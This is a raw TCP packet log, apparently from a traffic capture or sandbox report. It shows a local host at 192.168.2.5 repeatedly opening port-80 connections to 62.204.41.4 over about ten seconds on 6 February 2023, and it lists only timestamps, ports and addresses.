Feb 6, 2023 14:18:43.227785110 CET	50115	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.229132891 CET	50116	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.289659023 CET	80	50115	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.289771080 CET	50115	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.291568041 CET	80	50116	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.291711092 CET	50116	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.292412043 CET	50116	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.354826927 CET	80	50116	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.357706070 CET	80	50116	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.357929945 CET	50116	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.461997032 CET	50117	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.464416027 CET	50116	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.522844076 CET	80	50117	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.523061037 CET	50117	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.523915052 CET	50117	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.526966095 CET	80	50116	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.527096033 CET	50116	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.584551096 CET	80	50117	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.587764978 CET	80	50117	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.587905884 CET	50117	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.696726084 CET	50117	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.705692053 CET	50118	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.757368088 CET	80	50117	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.757500887 CET	50117	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.766093016 CET	80	50118	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.766338110 CET	50118	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.766871929 CET	50118	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.827162981 CET	80	50118	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.830147028 CET	80	50118	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.830308914 CET	50118	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.945879936 CET	50118	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.946578026 CET	50119	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.006412983 CET	80	50118	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.006599903 CET	50118	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.008128881 CET	80	50119	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.008281946 CET	50119	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.008779049 CET	50119	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.070158958 CET	80	50119	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.075440884 CET	80	50119	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.075577974 CET	50119	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.179649115 CET	50119	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.180273056 CET	50120	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.241154909 CET	80	50119	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.241868973 CET	80	50120	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.241959095 CET	50120	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.242155075 CET	50119	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.246464968 CET	50120	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.308118105 CET	80	50120	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.311366081 CET	80	50120	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.311438084 CET	50120	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.414145947 CET	50120	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.414793015 CET	50121	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.475732088 CET	80	50120	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.475825071 CET	50120	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.476296902 CET	80	50121	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.476381063 CET	50121	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.477396011 CET	50121	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.539058924 CET	80	50121	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.541924000 CET	80	50121	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.542114973 CET	50121	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.649332047 CET	50121	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.650230885 CET	50122	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.711172104 CET	80	50121	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.711278915 CET	50121	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.712635994 CET	80	50122	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.712769032 CET	50122	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.731116056 CET	50122	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.793694019 CET	80	50122	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.796539068 CET	80	50122	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.796637058 CET	50122	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.914812088 CET	50122	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.915508032 CET	50123	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.976155996 CET	80	50123	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.976267099 CET	50123	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.976743937 CET	50123	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:44.977188110 CET	80	50122	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:44.977266073 CET	50122	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.037492990 CET	80	50123	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.042740107 CET	80	50123	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.042864084 CET	50123	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.164187908 CET	50123	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.164817095 CET	50124	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.225065947 CET	80	50123	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.225246906 CET	50123	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.227087975 CET	80	50124	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.227241993 CET	50124	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.227690935 CET	50124	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.289896965 CET	80	50124	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.292344093 CET	80	50124	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.292473078 CET	50124	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.399091959 CET	50124	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.399532080 CET	50125	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.460885048 CET	80	50125	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.461100101 CET	50125	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.461357117 CET	80	50124	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.461463928 CET	50124	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.461673021 CET	50125	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.522928953 CET	80	50125	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.543565035 CET	80	50125	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.545432091 CET	50125	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.653899908 CET	50125	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.655708075 CET	50126	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.715387106 CET	80	50125	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.716152906 CET	80	50126	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.716295004 CET	50125	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.716344118 CET	50126	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.717299938 CET	50126	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.777688980 CET	80	50126	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.781358957 CET	80	50126	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.781589031 CET	50126	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.884542942 CET	50127	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.887258053 CET	50126	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.945700884 CET	80	50127	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.945987940 CET	50127	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.946491003 CET	50127	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:45.947563887 CET	80	50126	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:45.947649002 CET	50126	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.007185936 CET	80	50127	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.009880066 CET	80	50127	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.015306950 CET	50127	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.120249987 CET	50127	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.121081114 CET	50128	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.180926085 CET	80	50127	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.181068897 CET	50127	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.182658911 CET	80	50128	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.182884932 CET	50128	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.183273077 CET	50128	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.244877100 CET	80	50128	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.249476910 CET	80	50128	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.250252008 CET	50128	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.373858929 CET	50128	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.374711990 CET	50129	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.435118914 CET	80	50129	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.435832024 CET	80	50128	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.436043978 CET	50128	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.436568975 CET	50129	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.436569929 CET	50129	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.496912956 CET	80	50129	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.500448942 CET	80	50129	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.500541925 CET	50129	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.617605925 CET	50129	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.618278027 CET	50130	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.678077936 CET	80	50129	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.678450108 CET	50129	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.680497885 CET	80	50130	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.680613041 CET	50130	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.681000948 CET	50130	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.743123055 CET	80	50130	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.745626926 CET	80	50130	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.747241020 CET	50130	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.852895975 CET	50130	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.854176998 CET	50131	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.915242910 CET	80	50130	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.915383101 CET	80	50131	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.915437937 CET	50130	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.915510893 CET	50131	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.931869984 CET	50131	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:46.993237019 CET	80	50131	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.996388912 CET	80	50131	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:46.996521950 CET	50131	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.102080107 CET	50131	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.103013992 CET	50132	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.163428068 CET	80	50132	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.163476944 CET	80	50131	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.163579941 CET	50132	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.163619995 CET	50131	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.164865017 CET	50132	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.225230932 CET	80	50132	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.230132103 CET	80	50132	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.230206013 CET	50132	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.352252960 CET	50132	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.353060961 CET	50133	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.412719965 CET	80	50132	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.412832022 CET	50132	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.415566921 CET	80	50133	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.415673971 CET	50133	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.416110039 CET	50133	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.478672981 CET	80	50133	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.481126070 CET	80	50133	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.481234074 CET	50133	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.585978985 CET	50133	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.586823940 CET	50134	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.647131920 CET	80	50134	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.647268057 CET	50134	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.648521900 CET	80	50133	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.648833990 CET	50133	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.648864031 CET	50134	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.709064960 CET	80	50134	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.712028027 CET	80	50134	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.712125063 CET	50134	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.821497917 CET	50134	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.821500063 CET	50135	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.881355047 CET	80	50135	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.881710052 CET	50135	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.881977081 CET	80	50134	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.882066965 CET	50135	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.882103920 CET	50134	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:47.941637993 CET	80	50135	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.944685936 CET	80	50135	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:47.945960999 CET	50135	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.055937052 CET	50135	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.056627035 CET	50136	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.116044044 CET	80	50135	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:48.116141081 CET	50135	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.117105961 CET	80	50136	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:48.117197990 CET	50136	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.120124102 CET	50136	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.180753946 CET	80	50136	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:48.184925079 CET	80	50136	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:48.184998035 CET	50136	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.298408985 CET	50136	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.299046993 CET	50137	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.359216928 CET	80	50136	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:48.359260082 CET	80	50137	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:48.359378099 CET	50136	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.359426975 CET	50137	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.518585920 CET	50137	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.596465111 CET	80	50137	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:48.596528053 CET	80	50137	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:48.596699953 CET	50137	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.752340078 CET	50138	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.755933046 CET	50137	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.814755917 CET	80	50138	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:48.816256046 CET	80	50137	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:48.816514969 CET	50137	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.816931963 CET	50138	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.816931963 CET	50138	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:48.879436970 CET	80	50138	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:48.882236004 CET	80	50138	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:48.882431984 CET	50138	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:49.004117966 CET	50138	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:49.004849911 CET	50139	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:49.065310001 CET	80	50139	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:49.065521955 CET	50139	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:49.066773891 CET	80	50138	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:49.071564913 CET	50138	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:49.109385967 CET	50139	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:49.169991016 CET	80	50139	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:49.174504995 CET	80	50139	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:49.174675941 CET	50139	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:49.694271088 CET	50139	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:49.694892883 CET	50140	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:49.754947901 CET	80	50139	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:49.755125999 CET	50139	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:49.755281925 CET	80	50140	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:49.755378962 CET	50140	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:49.757097960 CET	50140	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:49.817576885 CET	80	50140	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:49.820137978 CET	80	50140	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:49.820281029 CET	50140	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:49.997104883 CET	50140	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:49.997930050 CET	50141	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:50.058044910 CET	80	50140	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:50.058202028 CET	50140	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:50.058360100 CET	80	50141	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:50.058604002 CET	50141	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:50.069927931 CET	50141	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:50.130470037 CET	80	50141	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:50.136013031 CET	80	50141	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:50.136331081 CET	50141	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:50.849636078 CET	50142	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:50.849647045 CET	50141	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:50.910355091 CET	80	50141	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:50.910433054 CET	50141	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:50.911045074 CET	80	50142	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:50.911159992 CET	50142	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:50.911528111 CET	50142	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:50.972815037 CET	80	50142	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:50.975814104 CET	80	50142	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:50.975927114 CET	50142	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.392573118 CET	50142	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.398561954 CET	50143	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.454260111 CET	80	50142	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:51.454440117 CET	50142	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.460180998 CET	80	50143	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:51.460362911 CET	50143	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.490211964 CET	50143	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.551734924 CET	80	50143	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:51.556133986 CET	80	50143	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:51.556297064 CET	50143	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.682365894 CET	50143	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.683135986 CET	50144	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.744119883 CET	80	50143	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:51.744198084 CET	50143	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.745556116 CET	80	50144	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:51.745672941 CET	50144	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.746608973 CET	50144	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.809034109 CET	80	50144	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:51.812130928 CET	80	50144	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:51.812253952 CET	50144	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.935980082 CET	50144	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.936701059 CET	50145	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.996977091 CET	80	50145	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:51.997091055 CET	50145	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.997575045 CET	50145	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:51.998462915 CET	80	50144	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:51.998562098 CET	50144	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.057995081 CET	80	50145	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.062042952 CET	80	50145	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.062144995 CET	50145	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.165070057 CET	50145	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.165775061 CET	50146	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.225604057 CET	80	50145	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.225693941 CET	50145	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.227169991 CET	80	50146	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.227298021 CET	50146	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.228127956 CET	50146	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.289705038 CET	80	50146	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.292440891 CET	80	50146	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.292557955 CET	50146	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.404989958 CET	50146	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.405770063 CET	50147	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.466641903 CET	80	50146	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.466734886 CET	50146	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.468127966 CET	80	50147	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.468236923 CET	50147	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.469913960 CET	50147	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.532211065 CET	80	50147	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.534677982 CET	80	50147	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.534789085 CET	50147	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.649655104 CET	50147	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.650635958 CET	50148	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.712186098 CET	80	50147	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.712692022 CET	80	50148	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.712846994 CET	50147	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.712928057 CET	50148	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.713607073 CET	50148	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.776207924 CET	80	50148	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.778877020 CET	80	50148	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.779061079 CET	50148	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.884721994 CET	50148	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.885600090 CET	50149	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.946945906 CET	80	50148	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.947062969 CET	50148	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.947434902 CET	80	50149	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:52.947562933 CET	50149	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:52.948054075 CET	50149	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.009670019 CET	80	50149	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.012109041 CET	80	50149	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.015983105 CET	50149	80	192.168.2.5	62.204.41.4
